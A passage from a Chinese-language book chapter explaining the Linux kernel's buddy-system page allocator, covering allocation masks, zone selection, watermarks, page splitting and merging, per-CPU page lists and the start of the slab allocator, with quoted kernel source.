#define __GFP_ZERO  ((__force gfp_t)___GFP_ZERO) /* Return zeroed page on success */
#define __GFP_NOMEMALLOC ((__force gfp_t)___GFP_NOMEMALLOC) /* Don't use emergency reserves.*/
#define __GFP_HARDWALL   ((__force gfp_t)___GFP_HARDWALL) /* Enforce hardwall cpuset memory allocs */
#define __GFP_THISNODE  ((__force gfp_t)___GFP_THISNODE)/* No fallback, no policies */
#define __GFP_RECLAIMABLE ((__force gfp_t)___GFP_RECLAIMABLE) /* Page is reclaimable */
#define __GFP_NOTRACK   ((__force gfp_t)___GFP_NOTRACK)  /* Don't track with kmemcheck */
#define __GFP_NO_KSWAPD ((__force gfp_t)___GFP_NO_KSWAPD)
#define __GFP_OTHER_NODE ((__force gfp_t)___GFP_OTHER_NODE) /* On behalf of other node */
#define __GFP_WRITE ((__force gfp_t)___GFP_WRITE)   /* Allocator intends to dirty page */

上述这些标志位,我们在后续代码中遇到时再详细介绍。

下面以GFP_KERNEL为例,来看在理想情况下alloc_pages()函数是如何分配出物理内存的。

[分配物理内存例子]

page = alloc_pages(GFP_KERNEL, order);

GFP_KERNEL分配掩码定义在gfp.h头文件中,是一个分配掩码的组合。常用的分配掩码组合如下:

#define GFP_NOWAIT  (GFP_ATOMIC & ~__GFP_HIGH)
/* GFP_ATOMIC means both !wait (__GFP_WAIT not set) and use emergency pool */
#define GFP_ATOMIC  (__GFP_HIGH)
#define GFP_NOIO     (__GFP_WAIT)
#define GFP_NOFS     (__GFP_WAIT | __GFP_IO)
#define GFP_KERNEL (__GFP_WAIT | __GFP_IO | __GFP_FS)
#define GFP_TEMPORARY   (__GFP_WAIT | __GFP_IO | __GFP_FS | \
           __GFP_RECLAIMABLE)
#define GFP_USER     (__GFP_WAIT | __GFP_IO | __GFP_FS | __GFP_HARDWALL)
#define GFP_HIGHUSER     (GFP_USER | __GFP_HIGHMEM)
#define GFP_HIGHUSER_MOVABLE     (GFP_HIGHUSER | __GFP_MOVABLE)
#define GFP_IOFS     (__GFP_IO | __GFP_FS)
#define GFP_TRANSHUGE   (GFP_HIGHUSER_MOVABLE | __GFP_COMP | \
           __GFP_NOMEMALLOC | __GFP_NORETRY | __GFP_NOWARN | \
             __GFP_NO_KSWAPD) 

所以GFP_KERNEL分配掩码包含了GFP_WAIT、GFP_IO和__GFP_FS这3个标志位,换算成十六进制是0xd0。

alloc_pages()最终调用__alloc_pages_nodemask()函数,它是伙伴系统的核心函数。

[alloc_pages->alloc_pages_node->__alloc_pages->__alloc_pages_nodemask]

0 /*
1  * This is the 'heart' of the zoned buddy allocator.
2  */
3 struct page *
4 __alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order,
5            struct zonelist *zonelist, nodemask_t *nodemask)
6 {
7     struct zoneref *preferred_zoneref;
8     struct page *page = NULL;
9     unsigned int cpuset_mems_cookie;
10   int alloc_flags = ALLOC_WMARK_LOW|ALLOC_CPUSET|ALLOC_FAIR;
11    gfp_t alloc_mask; /* The gfp_t that was actually used for allocation */
12    struct alloc_context ac = {
13        .high_zoneidx = gfp_zone(gfp_mask),
14        .nodemask = nodemask,
15        .migratetype = gfpflags_to_migratetype(gfp_mask),
16    };
17

struct alloc_context数据结构是伙伴系统分配函数中用于保存相关参数的数据结构。gfp_zone()函数从分配掩码中计算出zone的zoneidx,并存放在high_zoneidx成员中。

static inline enum zone_type gfp_zone(gfp_t flags)
{
     enum zone_type z;
     int bit = (__force int) (flags & GFP_ZONEMASK);

     z = (GFP_ZONE_TABLE >> (bit * ZONES_SHIFT)) &
                   ((1 << ZONES_SHIFT) - 1);
     return z;
}

gfp_zone()函数会用到GFP_ZONEMASK、GFP_ZONE_TABLE和ZONES_SHIFT等宏,它们的定义如下:

#define GFP_ZONEMASK     (__GFP_DMA|__GFP_HIGHMEM|__GFP_DMA32|__GFP_MOVABLE)
#define GFP_ZONE_TABLE ( \
   (ZONE_NORMAL << 0 * ZONES_SHIFT)                        \
   | (OPT_ZONE_DMA << ___GFP_DMA * ZONES_SHIFT)             \
   | (OPT_ZONE_HIGHMEM << ___GFP_HIGHMEM * ZONES_SHIFT)     \
   | (OPT_ZONE_DMA32 << ___GFP_DMA32 * ZONES_SHIFT)         \
   | (ZONE_NORMAL << ___GFP_MOVABLE * ZONES_SHIFT)                \
   | (OPT_ZONE_DMA << (___GFP_MOVABLE | ___GFP_DMA) * ZONES_SHIFT) \
   | (ZONE_MOVABLE << (___GFP_MOVABLE | ___GFP_HIGHMEM) * ZONES_SHIFT) \
   | (OPT_ZONE_DMA32 << (___GFP_MOVABLE | ___GFP_DMA32) * ZONES_SHIFT) \
)

#if MAX_NR_ZONES < 2
#define ZONES_SHIFT 0
#elif MAX_NR_ZONES <= 2
#define ZONES_SHIFT 1
#elif MAX_NR_ZONES <= 4
#define ZONES_SHIFT 2

GFP_ZONEMASK是分配掩码的低4位,在ARM Vexpress平台中,只有ZONE_NORMAL和ZONE_HIGHMEM这两个zone,但是计算__MAX_NR_ZONES需要加上ZONE_MOVABLE,所以MAX_NR_ZONES等于3,这里ZONES_SHIFT等于2,那么GFP_ZONE_TABLE计算结果等于0x200010。

在上述例子中,以GFP_KERNEL分配掩码(0xd0)为参数代入gfp_zone()函数里,最终结果为0,即high_zoneidx为0。

另外__alloc_pages_nodemask()第15行代码中的gfpflags_to_migratetype()函数把gfp_mask分配掩码转换成MIGRATE_TYPES类型,例如分配掩码为GFP_KERNEL,那么MIGRATE_TYPES类型是MIGRATE_UNMOVABLE;如果分配掩码为GFP_HIGHUSER_MOVABLE,那么MIGRATE_TYPES类型是MIGRATE_MOVABLE。

static inline int gfpflags_to_migratetype(const gfp_t gfp_flags)
{
     /* Group based on mobility */
     return (((gfp_flags & __GFP_MOVABLE) != 0) << 1) |
          ((gfp_flags & __GFP_RECLAIMABLE) != 0);
}

继续回到__alloc_pages_nodemask()函数中。

[__alloc_pages_nodemask()]

18retry_cpuset:
19    cpuset_mems_cookie = read_mems_allowed_begin();
20
21    /* We set it here, as __alloc_pages_slowpath might have changed it */
22    ac.zonelist = zonelist;
23    /* The preferred zone is used for statistics later */
24    preferred_zoneref = first_zones_zonelist(ac.zonelist, ac.high_zoneidx,
25              ac.nodemask ? : &cpuset_current_mems_allowed,
26              &ac.preferred_zone);
27    if (!ac.preferred_zone)
28         goto out;
29    ac.classzone_idx = zonelist_zone_idx(preferred_zoneref);
30
31    /* First allocation attempt */
32    alloc_mask = gfp_mask|__GFP_HARDWALL;
33    page = get_page_from_freelist(alloc_mask, order, alloc_flags, &ac);
34    if (unlikely(!page)) {
35         /*
36          * Runtime PM, block IO and its error handling path
37          * can deadlock because I/O on the device might not
38          * complete.
39          */
40         alloc_mask = memalloc_noio_flags(gfp_mask);
41
42         page = __alloc_pages_slowpath(alloc_mask, order, &ac);
43    }
44out:
45    return page;
46}

首先get_page_from_freelist()会去尝试分配物理页面,如果这里分配失败,就会调用到__alloc_pages_slowpath()函数,这个函数将处理很多特殊的场景。这里假设在理想情况下get_page_from_freelist()能分配成功。

/*
 * get_page_from_freelist goes through the zonelist trying to allocate
 * a page.
 */
static struct page *
get_page_from_freelist(gfp_t gfp_mask, unsigned int order, int alloc_flags,
                         const struct alloc_context *ac)
{
    struct zonelist *zonelist = ac->zonelist;
    struct zoneref *z;
    struct page *page = NULL;
    struct zone *zone;
    nodemask_t *allowednodes = NULL;/* zonelist_cache approximation */
    int zlc_active = 0;      /* set if using zonelist_cache */
    int did_zlc_setup = 0;       /* just call zlc_setup() one time */
    bool consider_zone_dirty = (alloc_flags & ALLOC_WMARK_LOW) &&
                (gfp_mask & __GFP_WRITE);
    int nr_fair_skipped = 0;
    bool zonelist_rescan;

zonelist_scan:
    zonelist_rescan = false;

    /*
     * Scan zonelist, looking for a zone with enough free.
     * See also __cpuset_node_allowed() comment in kernel/cpuset.c.
     */
    for_each_zone_zonelist_nodemask(zone, z, zonelist, ac->high_zoneidx,
                          ac->nodemask) {

get_page_from_freelist()函数首先需要判断可以从哪个zone来分配内存。for_each_zone_zonelist_nodemask宏扫描内存节点中的zonelist去查找合适分配内存的zone。

/**
 * for_each_zone_zonelist_nodemask - helper macro to iterate over valid zones in a zonelist at or below a given zone index and within a nodemask
 * @zone - The current zone in the iterator
 * @z - The current pointer within zonelist->zones being iterated
 * @zlist - The zonelist being iterated
 * @highidx - The zone index of the highest zone to return
 * @nodemask - Nodemask allowed by the allocator
 *
 * This iterator iterates though all zones at or below a given zone index and
 * within a given nodemask
 */
#define for_each_zone_zonelist_nodemask(zone, z, zlist, highidx, nodemask) \
   for (z = first_zones_zonelist(zlist, highidx, nodemask, &zone); \
        zone;                        \
        z = next_zones_zonelist(++z, highidx, nodemask),     \
            zone = zonelist_zone(z))       \

for_each_zone_zonelist_nodemask首先通过first_zones_zonelist()从给定的zoneidx开始查找,这个给定的zoneidx就是highidx,之前通过gfp_zone()函数转换得来的。

/**
 * first_zones_zonelist - Returns the first zone at or below highest_zoneidx within the allowed nodemask in a zonelist
 * @zonelist - The zonelist to search for a suitable zone
 * @highest_zoneidx - The zone index of the highest zone to return
 * @nodes - An optional nodemask to filter the zonelist with
 * @zone - The first suitable zone found is returned via this parameter
 *
 * This function returns the first zone at or below a given zone index that is
 * within the allowed nodemask. The zoneref returned is a cursor that can be
 * used to iterate the zonelist with next_zones_zonelist by advancing it by
 * one before calling.
 */
static inline struct zoneref *first_zones_zonelist(struct zonelist *zonelist,
                     enum zone_type highest_zoneidx,
                     nodemask_t *nodes,
                     struct zone **zone)
{
     struct zoneref *z = next_zones_zonelist(zonelist->_zonerefs,
                            highest_zoneidx, nodes);
     *zone = zonelist_zone(z);
     return z;
}

first_zones_zonelist()函数会调用next_zones_zonelist()函数来计算zoneref,最后返回zone数据结构。

/* Returns the next zone at or below highest_zoneidx in a zonelist */
struct zoneref *next_zones_zonelist(struct zoneref *z,
                    enum zone_type highest_zoneidx,
                    nodemask_t *nodes)
{
    /*
     * Find the next suitable zone to use for the allocation.
     * Only filter based on nodemask if it's set
     */
    if (likely(nodes == NULL))
          while (zonelist_zone_idx(z) > highest_zoneidx)
              z++;
    else
          while (zonelist_zone_idx(z) > highest_zoneidx ||
                  (z->zone && !zref_in_nodemask(z, nodes)))
              z++;

    return z;
}

计算zone的核心函数在next_zones_zonelist()函数中,这里highest_zoneidx是gfp_zone()函数计算分配掩码得来。zonelist有一个zoneref数组,zoneref数据结构里有一个成员zone指针会指向zone数据结构,还有一个zone_index成员指向zone的编号。zone在系统处理时会初始化这个数组,具体函数在build_zonelists_node()中。在ARM Vexpress平台中,zone类型、zoneref[ ]数组和zoneidx的关系如下:

ZONE_HIGHMEM     _zonerefs[0]->zone_index=1
ZONE_NORMAL      _zonerefs[1]->zone_index=0

zonerefs[0]表示ZONE_HIGHME,其zone的编号zone_index值为1;zonerefs[1]表示ZONE_NORMAL,其zone的编号zone_index为0。也就是说,基于zone的设计思想是:分配物理页面时会优先考虑ZONE_HIGHMEM,因为ZONE_HIGHMEM在zonelist中排在ZONE_NORMAL前面。

回到我们之前的例子,gfp_zone(GFP_KERNEL)函数返回0,即highest_zoneidx为0,而这个内存节点的第一个zone是ZONE_HIGHME,其zone编号zone_index的值为1。因此在next_zones_zonelist()中,z++,最终first_zones_zonelist ()函数会返回ZONE_NORMAL。在for_each_zone_zonelist_nodemask()遍历过程中也只能遍历ZONE_NORMAL这一个zone了。

再举一个例子,分配掩码为GFP_HIGHUSER_MOVABLE,GFP_HIGHUSER_MOVABLE包含了__GFP_HIGHMEM,那么next_zones_zonelist()函数会返回哪个zone呢?

GFP_HIGHUSER_MOVABLE值为0x200da,那么gfp_zone(GFP_HIGHUSER_MOVABLE)函数等于2,即highest_zoneidx为2,而这个内存节点的第一个ZONE_HIGHME,其zone编号zone_index的值为1。

要正确理解for_each_zone_zonelist_nodemask()这个宏的行为,需要理解如下两个方面。

上述这些设计让人感觉有些复杂,但是这是正确理解以zone为基础的物理页面分配机制的基石。

在__alloc_pages_nodemask()的第24行代码调用first_zones_zonelist(),计算出preferred_zoneref并且保存到ac.classzone_idx变量中,该变量在kswapd内核线程中还会用到。例如以GFP_KERNEL为分配掩码,preferred_zone指的是ZONE_NORMAL,ac.classzone_idx值为0。

回到get_page_from_freelist()函数中,for_each_zone_zonelist_nodemask()找到了接下来可以从哪些zone中分配内存,下面来做一些必要的检查。

[get_page_from_freelist()] 

     ...
     if (cpusets_enabled() &&
            (alloc_flags & ALLOC_CPUSET) &&
             !cpuset_zone_allowed(zone, gfp_mask))
                continue;
        /*
         * Distribute pages in proportion to the individual
         * zone size to ensure fair page aging.  The zone a
         * page was allocated in should have no effect on the
         * time the page has in memory before being reclaimed.
         */
        if (alloc_flags & ALLOC_FAIR) {
             if (!zone_local(ac->preferred_zone, zone))
                 break;
             if (test_bit(ZONE_FAIR_DEPLETED, &zone->flags)) {
                 nr_fair_skipped++;
                 continue;
             }
        }

        if (consider_zone_dirty && !zone_dirty_ok(zone))
             continue;

        ... 

下面代码用于检测当前的zone的watermark水位是否充足。

[get_page_from_freelist()] 

      ...
      mark = zone->watermark[alloc_flags & ALLOC_WMARK_MASK];
      if (!zone_watermark_ok(zone, order, mark,
                   ac->classzone_idx, alloc_flags)) {
           ...
           ret = zone_reclaim(zone, gfp_mask, order);
           switch (ret) {
           case ZONE_RECLAIM_NOSCAN:
              /* did not scan */
              continue;
           case ZONE_RECLAIM_FULL:
              /* scanned but unreclaimable */
              continue;
           default:
              continue;
           }
      }


try_this_zone:
    page = buffered_rmqueue(ac->preferred_zone, zone, order,
                  gfp_mask, ac->migratetype);
    if (page) {
         if (prep_new_page(page, order, gfp_mask, alloc_flags))
              goto try_this_zone;
         return page;
    }
…

zone数据结构中有一个成员watermark记录各种水位的情况。系统中定义了3种水位,分别是WMARK_MIN、WMARK_LOW和WMARK_HIGH。watermark水位的计算在__setup_per_zone_wmarks()函数中。

[mm/page_alloc.c]

static void __setup_per_zone_wmarks(void)
{
    unsigned long pages_min = min_free_kbytes >> (PAGE_SHIFT - 10);
     unsigned long lowmem_pages = 0;
     struct zone *zone;
     unsigned long flags;

     /* Calculate total number of !ZONE_HIGHMEM pages */
     for_each_zone(zone) {
         if (!is_highmem(zone))
               lowmem_pages += zone->managed_pages;
     }

     for_each_zone(zone) {
         u64 tmp;

         spin_lock_irqsave(&zone->lock, flags);
         tmp = (u64)pages_min * zone->managed_pages;
         do_div(tmp, lowmem_pages);
         if (is_highmem(zone)) {
              unsigned long min_pages;

              min_pages = zone->managed_pages / 1024;
              min_pages = clamp(min_pages, SWAP_CLUSTER_MAX, 128UL);
              zone->watermark[WMARK_MIN] = min_pages;
         } else {
              zone->watermark[WMARK_MIN] = tmp;
         }

         zone->watermark[WMARK_LOW]  = min_wmark_pages(zone) + (tmp >> 2);
         zone->watermark[WMARK_HIGH] = min_wmark_pages(zone) + (tmp >> 1);

         __mod_zone_page_state(zone, NR_ALLOC_BATCH,
            high_wmark_pages(zone) - low_wmark_pages(zone) -
            atomic_long_read(&zone->vm_stat[NR_ALLOC_BATCH]));

          setup_zone_migrate_reserve(zone);
          spin_unlock_irqrestore(&zone->lock, flags);
     }
     calculate_totalreserve_pages();
}

计算watermark水位用到min_free_kbytes这个值,它是在系统启动时通过系统空闲页面的数量来计算的,具体计算在init_per_zone_wmark_min()函数中。另外系统起来之后也可以通过sysfs来设置,节点在“/proc/sys/vm/min_free_kbytes”。计算watermark水位的公式不算复杂,最后结果保存在每个zone的watermark数组中,后续伙伴系统和kswapd内核线程会用到。

回到get_page_from_freelist()函数,这里会读取WMARK_LOW水位的值到变量mark中,这里的zone_watermark_ok()函数判断当前zone的空闲页面是否满足WMARK_LOW水位。

[get_page_from_freelist->zone_watermark_ok->__zone_watermark_ok]

static bool __zone_watermark_ok(struct zone *z, unsigned int order,
             unsigned long mark, int classzone_idx, int alloc_flags,
             long free_pages)
{
     /* free_pages may go negative - that's OK */
     long min = mark;
     int o;

     free_pages -= (1 << order) - 1;
     if (alloc_flags & ALLOC_HIGH)
          min -= min / 2;
     if (alloc_flags & ALLOC_HARDER)
          min -= min / 4;

 if (free_pages <= min + z->lowmem_reserve[classzone_idx])
 return false;
     for (o = 0; o < order; o++) {
          free_pages -= z->free_area[o].nr_free << o;

          /* Require fewer higher order pages to be free */
          min >>= 1;

          if (free_pages <= min)
               return false;
     }
     return true;
}

参数z表示要判断的zone,order是要分配内存的阶数,mark是要检查的水位。通常分配物理内存页面的内核路径是检查WMARK_LOW水位,而页面回收kswapd内核线程则是检查WMARK_HIGH水位,这会导致一个内存节点中各个zone的页面老化速度不一致的问题,为了解决这个问题,内核提出了很多诡异的补丁,这个问题可以参见第2.13节和第2.20节的内容。

__zone_watermark_ok()函数首先判断zone的空闲页面是否小于某个水位值和zone的最低保留值(lowmem_reserve)之和。返回true表示空闲页面在某个水位在上,否则返回false。

回到get_page_from_freelist()函数中,当判断当前zone的空闲页面低于WMARK_LOW水位,会调用zone_reclaim()函数来回收页面。我们这里假设zone_watermark_ok()判断空闲页面充沛,接下来就会调用buffered_rmqueue()函数从伙伴系统中分配物理页面。

[__alloc_pages_nodemask()->get_page_from_freelist()->buffered_rmqueue()]

/*
 * Allocate a page from the given zone. Use pcplists for order-0 allocations.
 */
static inline
struct page *buffered_rmqueue(struct zone *preferred_zone,
            struct zone *zone, unsigned int order,
            gfp_t gfp_flags, int migratetype)
{
     unsigned long flags;
     struct page *page;
     bool cold = ((gfp_flags & __GFP_COLD) != 0);

 if (likely(order == 0)) {
          struct per_cpu_pages *pcp;
          struct list_head *list;

          local_irq_save(flags);
          pcp = &this_cpu_ptr(zone->pageset)->pcp;
          list = &pcp->lists[migratetype];
          if (list_empty(list)) {
                pcp->count += rmqueue_bulk(zone, 0,
                       pcp->batch, list,
                       migratetype, cold);
                if (unlikely(list_empty(list)))
                     goto failed;
          }
          if (cold)
               page = list_entry(list->prev, struct page, lru);
          else
               page = list_entry(list->next, struct page, lru);

          list_del(&page->lru);
          pcp->count--;
     } else {
          spin_lock_irqsave(&zone->lock, flags);
 page = __rmqueue(zone, order, migratetype);
          spin_unlock(&zone->lock);
          if (!page)
               goto failed;
          __mod_zone_freepage_state(zone, -(1 << order),
                    get_freepage_migratetype(page));
     }

     __mod_zone_page_state(zone, NR_ALLOC_BATCH, -(1 << order));
     if (atomic_long_read(&zone->vm_stat[NR_ALLOC_BATCH]) <= 0 &&
          !test_bit(ZONE_FAIR_DEPLETED, &zone->flags))
          set_bit(ZONE_FAIR_DEPLETED, &zone->flags);

     __count_zone_vm_events(PGALLOC, zone, 1 << order);
     zone_statistics(preferred_zone, zone, gfp_flags);
     local_irq_restore(flags);
     return page;
failed:
     local_irq_restore(flags);
     return NULL;
}

这里根据order数值兵分两路:一路是order等于0的情况,也就是分配一个物理页面时,从zone->per_cpu_pageset列表中分配;另一路order大于0的情况,就从伙伴系统中分配。我们只关注order大于0的情况,它最终会调用__rmqueue_smallest()函数。

[get_page_from_freelist()->buffered_rmqueue()->buffered_rmqueue->__rmqueue()->__rmqueue_smallest()]

static inline
struct page *__rmqueue_smallest(struct zone *zone, unsigned int order,
                     int migratetype)
{
     unsigned int current_order;
     struct free_area *area;
     struct page *page;

     /* Find a page of the appropriate size in the preferred list */
     for (current_order = order; current_order < MAX_ORDER; ++current_order) 
{
          area = &(zone->free_area[current_order]);
          if (list_empty(&area->free_list[migratetype]))
                continue;

          page = list_entry(area->free_list[migratetype].next,
                              struct page, lru);
          list_del(&page->lru);
          rmv_page_order(page);
          area->nr_free--;
          expand(zone, page, order, current_order, area, migratetype);
          set_freepage_migratetype(page, migratetype);
          return page;
     }

     return NULL;
}

在__rmqueue_smallest()函数中,首先从order开始查找zone中空闲链表。如果zone的当前order对应的空闲区free_area中相应migratetype类型的链表里没有空闲对象,那么就会查找下一级order。

为什么会这样?因为在系统启动时,空闲页面会尽可能地都分配到MAX_ORDER−1的链表中,这个可以在系统刚起来之后,通过“cat /proc/pagetypeinfo”命令看出端倪。当找到某一个order的空闲区中对应的migratetype类型的空闲链表中有空闲内存块时,就会从中把一个内存块摘下来,然后调用expand()函数来“切蛋糕”。因为通常摘下来的内存块要比需要的内存大,切完之后需要把剩下的内存块重新放回伙伴系统中。

expand()函数就是实现“切蛋糕”的功能。这里参数high就是current_order,通常current_order要比需求的order要大。每比较一次,area减1,相当于退了一级order,最后通过list_add把剩下的内存块添加到低一级的空闲链表中。

[get_page_from_freelist()->buffered_rmqueue()->buffered_rmqueue->__rmqueue()->__rmqueue_smallest()->expand()]

static inline void expand(struct zone *zone, struct page *page,
    int low, int high, struct free_area *area,
    int migratetype)
{
    unsigned long size = 1 << high;

    while (high > low) {
 area--;
        high--;
        size >>= 1;

 list_add(&page[size].lru, &area->free_list[migratetype]);
        area->nr_free++;
        set_page_order(&page[size], high);
    }
}

所需求的页面分配成功后,__rmqueue()函数返回这个内存块的起始页面的struct page数据结构。回到buffered_rmqueue()函数,最后还需要利用zone_statistics()函数做一些统计数据的计算。

回到get_page_from_freelist()函数中,最后还要通过prep_new_page()函数做一些有趣的检查,才能最终出厂。

[__alloc_pages_nodemask()->get_page_from_freelist()->prep_new_page()->check_new_page()]

static inline int check_new_page(struct page *page)
{
     const char *bad_reason = NULL;
     unsigned long bad_flags = 0;

     if (unlikely(page_mapcount(page)))
          bad_reason = "nonzero mapcount";
     if (unlikely(page->mapping != NULL))
          bad_reason = "non-NULL mapping";
     if (unlikely(atomic_read(&page->_count) != 0))
          bad_reason = "nonzero _count";
     if (unlikely(page->flags & PAGE_FLAGS_CHECK_AT_PREP)) {
          bad_reason = "PAGE_FLAGS_CHECK_AT_PREP flag set";
          bad_flags = PAGE_FLAGS_CHECK_AT_PREP;
     }

     if (unlikely(bad_reason)) {
          bad_page(page, bad_reason, bad_flags);
          return 1;
     }
     return 0;
}

check_new_page()函数做如下检查。

上述检查都通过后,我们分配的页面就合格了,可以出厂了,页面page便开启了属于它精彩的生命周期。

释放页面的核心函数是freepage(),最终还是调用\_free_pages()函数。

__free_pages()函数会分两种情况,对于order等于0的情况,做特殊处理;对于order大于0的情况,属于正常处理流程。

void __free_pages(struct page *page, unsigned int order)
{
     if (put_page_testzero(page)) {
          if (order == 0)
                free_hot_cold_page(page, false);
          else
                __free_pages_ok(page, order);
     }
}

首先来看order大于0的情况。__free_pages()函数内部调用__free_pages_ok(),最后调用__free_one_page()函数。因此释放内存页面到伙伴系统,最终还是通过__free_one_page()来实现。该函数不仅可以释放内存页面到伙伴系统,还会处理空闲页面的合并工作。

释放内存页面的核心功能是把页面添加到伙伴系统中适当的free_area链表中。在释放内存块时,会查询相邻的内存块是否空闲,如果也空闲,那么就会合并成一个大的内存块,放置到高一阶的空闲链表free_area中。如果还能继续合并邻近的内存块,那么就会继续合并,转移到更高阶的空闲链表中,这个过程会一直重复下去,直至所有可能合并的内存块都已经合并。

static inline void __free_one_page(struct page *page,
           unsigned long pfn,
           struct zone *zone, unsigned int order,
           int migratetype)
{
     unsigned long page_idx;
     unsigned long combined_idx;
     unsigned long uninitialized_var(buddy_idx);
     struct page *buddy;
     int max_order = MAX_ORDER;

     page_idx = pfn & ((1 << max_order) - 1);

     while (order < max_order - 1) {
          buddy_idx = __find_buddy_index(page_idx, order);
          buddy = page + (buddy_idx - page_idx);
          if (!page_is_buddy(page, buddy, order))
                break;
          /*
           * Our buddy is free or it is CONFIG_DEBUG_PAGEALLOC guard page,
           * merge with it and move up one order.
           */
          if (page_is_guard(buddy)) {
               clear_page_guard(zone, buddy, order, migratetype);
          } else {
               list_del(&buddy->lru);
               zone->free_area[order].nr_free--;
               rmv_page_order(buddy);
          }
          combined_idx = buddy_idx & page_idx;
          page = page + (combined_idx - page_idx);
          page_idx = combined_idx;
          order++;
     }

这段代码是合并相邻伙伴块的核心代码。我们以一个实际例子来说明这段代码的逻辑,假设现在要释放一个内存块A,大小为2个page,内存块的page的开始页帧号是0x8e010,order为1,如图2.8所示。

(1)首先计算得出page_idx等于0x10。也就是说,这个内存块位于pageblock的0x10的位置。

图2.8 空闲伙伴块合并

(2)在第一次while循环中,计算buddy_idx。

static inline unsigned long
__find_buddy_index(unsigned long page_idx, unsigned int order)
{
     return page_idx ^ (1 << order);
}

page_idx为0x10,order为1,最后计算结果为0x12。

(3)那么buddy就是内存块A的临近内存块B了,内存块B在pageblock的起始地址为0x12。

(4)接下来通过page_is_buddy()函数来检查内存块B是不是空闲的内存块。

static inline int page_is_buddy(struct page *page, struct page *buddy,
                                 unsigned int order)
{
     if (PageBuddy(buddy) && page_order(buddy) == order) {
          /*
           * zone check is done late to avoid uselessly
           * calculating zone/node ids for pages that could
           * never merge.
           */
          if (page_zone_id(page) != page_zone_id(buddy))
               return 0;
          return 1;
     }
     return 0;
}

内存块在buddy中并且order也相同,该函数返回1。

(5)如果发现内存块B也是空闲内存,并且order也等于1,那么我们找到了一块志同道合的空闲伙伴块,把它从空闲链表中摘下来,以便和内存块A合并到高一阶的空闲链表中。

(6)这时combined_idx指向内存块A的起始地址。order++表示继续在附近寻找有没有可能合并的相邻的内存块,这次要查找的order等于2,也就是4个page大小的内存块。

(7)重复步骤(2),查找附近有没有志同道合的order为2的内存块。

(8)如果在0x14位置的内存块C不满足合并条件,例如内存块C不是空闲页面,或者内存块C的order不等于2。如图2.8所示,内存块C的order等于3,显然不符合我们的条件。如果没找到order为2的内存块,那么只能合并内存块A和B了,然后把这个内存块添加到空闲页表中。

list_add(&page->lru, &zone->free_area[order].free_list[migratetype]);

__free_pages()对于order等于0的情况,作为特殊情况来处理,zone中有一个变量zone-> pageset为每个CPU初始化一个percpu变量struct per_cpu_pageset。当释放order等于0的页面时,首先页面释放到per_cpu_page->list对应的链表中。

[__free_pages->free_hot_cold_page]

void free_hot_cold_page(struct page *page, bool cold)
{
    pcp = &this_cpu_ptr(zone->pageset)->pcp;
    if (!cold)
 list_add(&page->lru, &pcp->lists[migratetype]);
    else
         list_add_tail(&page->lru, &pcp->lists[migratetype]);
    pcp->count++;
    if (pcp->count >= pcp->high) {
         unsigned long batch = ACCESS_ONCE(pcp->batch);
 free_pcppages_bulk(zone, batch, pcp);
         pcp->count -= batch;
    }
}

per_cpu_pageset和per_cpu_pages数据结构定义如下:

struct per_cpu_pageset {
     struct per_cpu_pages pcp;
};

struct per_cpu_pages {
     int count;          /* number of pages in the list */
     int high;           /* high watermark, emptying needed */
     int batch;          /* chunk size for buddy add/remove */

     /* Lists of pages, one per migrate type stored on the pcp-lists */
     struct list_head lists[MIGRATE_PCPTYPES];
};

batch的值是通过zone_batchsize()计算出来的。在ARM Vexpress平台上,batch等于31,high等于186。

[setup_zone_pageset-> zone_pageset_init-> pageset_set_high_and_batch]

static int zone_batchsize(struct zone *zone)
{
     int batch;

     /*
      * The per-cpu-pages pools are set to around 1000th of the
      * size of the zone.  But no more than 1/2 of a meg.
      *
      * OK, so we don't know how big the cache is.  So guess.
      */
     batch = zone->managed_pages / 1024;
     if (batch * PAGE_SIZE > 512 * 1024)
          batch = (512 * 1024) / PAGE_SIZE;
     batch /= 4;          /* We effectively *= 4 below */
     if (batch < 1)
          batch = 1;

     /*
      * Clamp the batch to a 2^n - 1 value. Having a power
      * of 2 value was found to be more likely to have
      * suboptimal cache aliasing properties in some cases.
      *
      * For example if 2 tasks are alternately allocating
      * batches of pages, one task can end up with a lot
      * of pages of one half of the possible page colors
      * and the other with pages of the other colors.
      */
     batch = rounddown_pow_of_two(batch + batch/2) - 1;

     return batch;
}

回到free_hot_cold_page函数中,当count大于high时,会调用free_pcppages_bulk()函数把per_cpu_pages的页面添加到伙伴系统中。

[__free_pages->free_hot_cold_page->free_pcppages_bulk->__free_one_page]

static void free_pcppages_bulk(struct zone *zone, int count,
                    struct per_cpu_pages *pcp)
{
int to_free = count;
…
     while (to_free) {
          do {
             page = list_entry(list->prev, struct page, lru);
             list_del(&page->lru);
             mt = get_freepage_migratetype(page);
             __free_one_page(page, page_to_pfn(page), zone, 0, mt);
          } while (--to_free && --batch_free && !list_empty(list));
     }
}

最终还是调用__free_one_page()函数来释放页面并添加到伙伴系统中。

页面分配器是Linux内核内存管理中最基本的分配器,基于伙伴系统算法和zone-base的设计理念,要理解页面分配器需要关注如下几个方面。

本章介绍了理想情况下页面分配器如何分配出物理页面,但是大部分情况下,Linux内核会处于内存压力下,那么在内存压力情况下又该如何分配内存呢?这涉及内存管理中最难的几个话题,例如页面回收、直接内存回收、内存规整和OOM Killer等。

伙伴系统用于分配内存时是以page为单位的,在实际中有很多内存需求是以Byte为单位的,那么如果我们需要分配以Byte为单位的小内存块时,该如何分配呢?slab分配器就是用来解决小内存块分配问题的,也是内存分配中非常重要的角色之一。slab分配器最终还是由伙伴系统来分配出实际的物理页面,只不过slab分配器在这些连续的物理页面上实现了自己的算法,以此来对小内存块进行管理。关于slab分配器,我们需要思考如下几个问题。

slab分配器提供如下接口来创建、释放slab描述符和分配缓存对象。

#创建slab描述符
struct kmem_cache *
kmem_cache_create(const char *name, size_t size, size_t align,
      unsigned long flags, void (*ctor)(void *))

#释放slab描述符      
void kmem_cache_destroy(struct kmem_cache *s)

#分配缓存对象
void *kmem_cache_alloc(struct kmem_cache *, gfp_t flags);

#释放缓存对象
void kmem_cache_free(struct kmem_cache *, void *);

kmem_cache_create()函数中有如下参数。

例如,在Intel显卡驱动中就大量使用kmem_cache_create()来创建自己的slab描述符。

[drivers/gpu/drm/i915/i915_gem.c]

#创建名为"i915_gem_object"slab描述符
void
i915_gem_load(struct drm_device *dev)
{
...
    dev_priv->slab =
       kmem_cache_create("i915_gem_object",
             sizeof(struct drm_i915_gem_object), 0,
             SLAB_HWCACHE_ALIGN,
             NULL);
...
}

void *i915_gem_object_alloc(struct drm_device *dev)
{
#分配缓存对象
